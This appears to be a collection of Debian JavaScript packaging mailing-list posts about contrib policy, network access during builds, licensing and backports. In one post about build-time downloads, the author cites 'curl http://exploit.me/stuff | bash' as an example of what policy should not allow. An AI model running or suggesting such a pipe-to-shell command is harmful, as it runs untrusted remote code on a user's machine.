Re: [Pkg-javascript-devel] three.js_80+dfsg2-2_amd64.changes REJECTED
Pirate Praveen dijo [Thu, Mar 01, 2018 at 03:15:42PM +0530]: > >> 1. If a single ftp master is in disagreement, there should be a team > >> decision (in previous cases of disagreement also, other team members did > >> not get involved). > > > > I'm lost already, sorry. As I understand the case of three.js's recent > > rejection, no other ftp-master said anything and thus there cannot be > > any dissention. > > I think it would be better if that is made explicit else how many days > should someone wait to see no response and assume no dissent? or is to > be always assumed there won't be any dissent? We should not wait for dissent just forever. The issue you mention was rejected by ftp-masters, then brought to the TC, then dismissed by the TC as not-our-role-to-overrule-delegates, and some more days passed. Do you really think there's a brewing dissent within the ftp-masters team that has not yet bubbled to become public? signature.asc Description: PGP signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing
Jérémy Lal dijo [Tue, Oct 03, 2017 at 07:46:43PM +0200]:
> It might be a good idea to make policy more explicit about downloads during
> build.
I completely agree. This led me to look at #813471 ("network access to
the loopback device should be allowed"), and... Well, it seems to set
the stage to the issue we are tackling now: #813471 is opened as a
reaction against #770016 ("Clarify network access for building
packages in main").
I fully agree with Guillem's suggestions, although Pabs has a point in
cuffing the build process more strongly.
But anyway, #770016 worries me as it seems to deal with main only;
however, the precise issue we are discussing was mentioned then as
well by Henrique:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#48
And it is is not just for main, I don't think contrib is supposed to
hit the network during *build*, either.
Bill explicitly mentioned he was not targeting contrib on this bug's
proposed (and accepted) changes:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#58
I have no idea abut contrib.
signature.asc
Description: PGP signature
--
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]: > > I am completely with Sean here; I read the following messages, and am > > happy a better resolution was found. But, FWIW, I'll support Sean's > > interpretation - Contrib and non-free are *not* places where we can > > happily breach any bits of policy; they are exclusively for things > > that cannot be shipped in Debian Main due to their DFSG status. > > I cannot accept arbitrary interpretations of policy. When build tools > are not available in main, they cannot go to main, and if the software > itself is Free Software, it can go to contrib. If you disagree, please > get the policy clarified. As per the current policy, these packages > clearly qualified for contrib and these were already accepted by ftp > masters into the archive. You could go to CTTE and challenge the > decision of ftp masters. Let me quote the Debian Social Contract: Works that do not meet our free software standards We acknowledge that some of our users require the use of works that do not conform to the Debian Free Software Guidelines. We have created "contrib" and "non-free" areas in our archive for these works. (...) So, contrib is _explicitly_ meant for software that does not meet the DFSG, not for random stuff that cannot be packaged for convenience or different issues. According to Policy, section 2: Packages in the other archive areas (contrib, non-free) are not considered to be part of the Debian distribution, although we support their use and provide infrastructure for them (such as our bug-tracking system and mailing lists). This Debian Policy Manual applies to these packages as well. Policy says that all packages in contrib and non-free should be policy compliant. Further, in 2.2.2: The contrib archive area contains supplemental packages intended to work with the Debian distribution, but which require software outside of the distribution to either build or function. Every package in contrib must comply with the DFSG. In addition, the packages in contrib • must not be so buggy that we refuse to support them, and • must meet all policy requirements presented in this manual. For this section, yes, I will be making interpretation - But I hold that we would be hard-pressed to provide support for something built with a compiler downloaded at build time. Maybe, as Simon suggests, if your debian/ includes hashes for the compiler version being used (and everything it pulls in via npm)... But in that case, it's probably better to include the tar.gz as part of your debian/ I *do* take note, however, of: Examples of packages which would be included in contrib are: • free packages which require contrib, non-free packages or packages which are not in our archive at all for compilation or execution, and • wrapper packages or other sorts of free accessories for non-free programs. The first point would seem to cover your use case. However, it's not necessarily covering (...) compilation or execution via code just downloaded. It does not cover the equivalent of "curl http://exploit.me/stuff | bash" > Alternatively, those who care enough about the issue can help get these > tools into main. I have been doing just that over the last years (grunt, > gulp, babel, jison, webpack to name a few, each with 100s of > dependencies) so many of the packages currently in main could go there. > Since the tools are just so many and the people packaging them are > handful, it will take quite a while for all these tools to be in main > and I'm going to continue using contrib for these packages until that time. > > You can also check the record of people who are most vocal over the > issue (not just in this thread, but in earlier discussions about > handlebars/dfsg/browserify) and compare who is helping fix the issue and > who is just talking. In this case, I'm clearly in the group of those who are somewhat vocal, and are not helping your efforts. Well, I did quite a bit of effort in a related matter with the work I put into packaging Drupal8, which I dropped in the end¹ precisely due to it not being cleanly packagable for Debian. ¹ http://gwolf.org/node/4087 > > And, yes, network access during a build... Is a clear no-go. Specially > > if as a project we are committed to this so neat Reproducible Builds > > thingy that has made so many among us proud to be part a project where > > an ages-long problem is finally being tackled - And quite > > successfully, even! > > I thought building these things (making sure the source corresponds to > the distributed binaries), though using tools outside archive, was > preferred over shipping pre-built binaries. But it seems shipping > pre-built binaries are preferred. It looks to me like a misplaced > compromise, but I will follow this advice and ship pre-built binaries > next time without building them using npm. I would strongly pref
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
Sean Whitton dijo [Sat, Sep 30, 2017 at 12:10:54PM -0700]: > > The whole purpose of having contrib and non-free is to host packages > > that can't be in main, either permanently or temporarily. I fail to > > see how it is against the spirit. > > To my mind, at least, the purpose of contrib and non-free is for > packages that can't be in main for DFSG reasons /alone/. Social > Contract item 5: > > We acknowledge that some of our users require the use of works that > do not conform to the Debian Free Software Guidelines. We have > created "contrib" and "non-free" areas in our archive for these > works. > (...) > I am still very uneasy about serving our users -- even our users of > Debian unstable -- with packages that are built using material pulled > from the net. I think that people who add 'contrib' to their > sources.list do not expect this kind of thing. I am completely with Sean here; I read the following messages, and am happy a better resolution was found. But, FWIW, I'll support Sean's interpretation - Contrib and non-free are *not* places where we can happily breach any bits of policy; they are exclusively for things that cannot be shipped in Debian Main due to their DFSG status. And, yes, network access during a build... Is a clear no-go. Specially if as a project we are committed to this so neat Reproducible Builds thingy that has made so many among us proud to be part a project where an ages-long problem is finally being tackled - And quite successfully, even! -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
[Pkg-javascript-devel] Bug#835125: jqueryui: Wrong licensing information: Licensed under MIT, *not* GPL-2
Source: jqueryui Version: 1.10.1+dfsg Severity: serious Justification: Policy 2.3 The package's debian/copyright mentions all of the contents as being licensed udner "GPL-2 or MIT", but they are exclusively licensed under the MIT: $ grep -ri 'gnu' . --exclude-dir=debian Binary file ./development-bundle/demos/position/images/rocket.jpg matches ./development-bundle/demos/autocomplete/search.php:"Mute Swan"=>"Cygnus olor", ./development-bundle/demos/autocomplete/search.php:"Bewick`s Swan"=>"Cygnus bewickii", ./development-bundle/demos/autocomplete/search.php:"Whooper Swan"=>"Cygnus cygnus", ./development-bundle/demos/autocomplete/search.php:"Whistling Swan"=>"Cygnus columbianus", $ grep -ri gpl . --exclude-dir=debian ./development-bundle/AUTHORS.txt:Garrison Locke $ grep -ri 'public license' . --exclude-dir=debian $ Please fix this information. Thanks! -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Help needed for a backport
Mike Gabriel dijo [Mon, Oct 21, 2013 at 01:59:14PM +]: > Hi Gunnar, Hi Mike! > >libjs-chosen *is* compiled to Javascript, so I have not much way to > >solve it. But libjs-pdf is only in some way "mangled" (beyond what I > >could understand, trying to redo by hand what "nodejs make generic" > >would do) at build time. > > I have just returned from VAC and will continue looking at the > dependency stack (nodejs, coffeescript, node-uglifyjs) during this > week. Great news! Please tell me if you want me to test anything, I have mostly the rest of the needed packages ready. ___ Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
[Pkg-javascript-devel] Help needed for a backport
Hi, I tried this same query on the IRC channel, but failed due to get a reply... Maybe the timezone? Anyway: I'm making a backport of Owncloud, and am... Almost-almost-almost-almost there. But I bit a problem... Worth pleading for this group's help. Or at least, opinion. Owncloud is a PHP application. I was too trigger-happy, and uploaded it some ~10 days ago(?) to backports, as its installation was dead easy on a system I have it running... ...only to find it bundles (as so many other PHP applications) a lot of libraries and stuff, which have been very thoroughly plucked out by the pkg-owncloud team, replacing them by the package in question. So, my package was effectively uninstallable on arrival. Now... I checked and packaged *most* of what was needed, but am missing two packages, which depend on stuff too large for me to attempt and package: • libjs-pdf (which build-depends on nodejs) • libjs-chosen (which depends on coffeescript) ...I don't want to package those large bodies of code I have never touched or understood. Any advice? libjs-chosen *is* compiled to Javascript, so I have not much way to solve it. But libjs-pdf is only in some way "mangled" (beyond what I could understand, trying to redo by hand what "nodejs make generic" would do) at build time. signature.asc Description: Digital signature ___ Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
[Pkg-javascript-devel] Make Drupal7 use the systemwide jquery
Package: drupal7 Version: 7.14-1.3 Hi, Steven, thanks for your observing eyes ;-) I have uploaded Drupal7 7.14-1.3 fixing this specific vulnerability, but yes, I agree with your suggestion - I am not the Drupal maintainer (although I have done several security uploads lately), but it clearly makes sense to make Drupal use the systemwide Javascript libraries. This is a task, however, that should be tackled post-release. I am filing this as a new bug report to keep the issue present. Thanks! ___ Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Help with watch file for jquery-lazyload
Emilien Klein dijo [Sun, Dec 09, 2012 at 09:37:06PM +0100]: > Hi Gunnar, > (...) > Gunnar, has there recently been some changes over at Github that would > mess with githubredir? I fixed githubredir and it should work fine now. I finally got my act together and am using the public API, instead of doing HTML screen-scraping as when I started the service - Hopefully this will remian stable in the long term. ___ Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Help with watch file for jquery-lazyload
Hi Emilien, and Javascript maintainers in general, Emilien Klein dijo [Sun, Dec 09, 2012 at 09:37:06PM +0100]: > Hi Gunnar, Wow... time flies when you are having fun! :-| I'm sorry, I was on vacation visiting my wife's family, and this mail went by completely unnoticed. > (...) > dpkg: error: version > 'http://github.com/tuupola/jquery_lazyload/archive/1.8.1' has bad > syntax: epoch in version is not number > > Gunnar, has there recently been some changes over at Github that would > mess with githubredir? Right, github played a trick on me again, and I must take a look to fix it. I'll try to have it ready today or tomorrow! Sorry for the long delay. ___ Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
